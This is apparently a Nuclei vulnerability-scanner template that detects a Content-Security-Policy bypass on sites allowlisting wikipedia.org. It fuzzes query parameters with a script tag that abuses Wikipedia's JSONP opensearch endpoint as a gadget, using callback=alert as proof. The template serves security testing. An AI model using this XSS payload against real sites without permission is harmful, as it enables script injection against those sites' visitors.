id: wikipedia-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - Wikipedia API
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,wikipedia-api,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "wikipedia.org"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: wikipedia_api_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://en.wikipedia.org/w/api.php?action=opensearch&format=json&limit=5&callback=alert&search=renniepak"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "wikipedia_api_csp_xss == true"
# digest: 490a004630440220060df435d2063714bd4bd95b9ee9f2d398aa3c285ab4b526a5543c21b4f750a0022054e45e96ab58cf635a531803b3b781ac0f37534a8dedc37af8d51454fc519cac:922c64590222798bb761d5b6d8e72950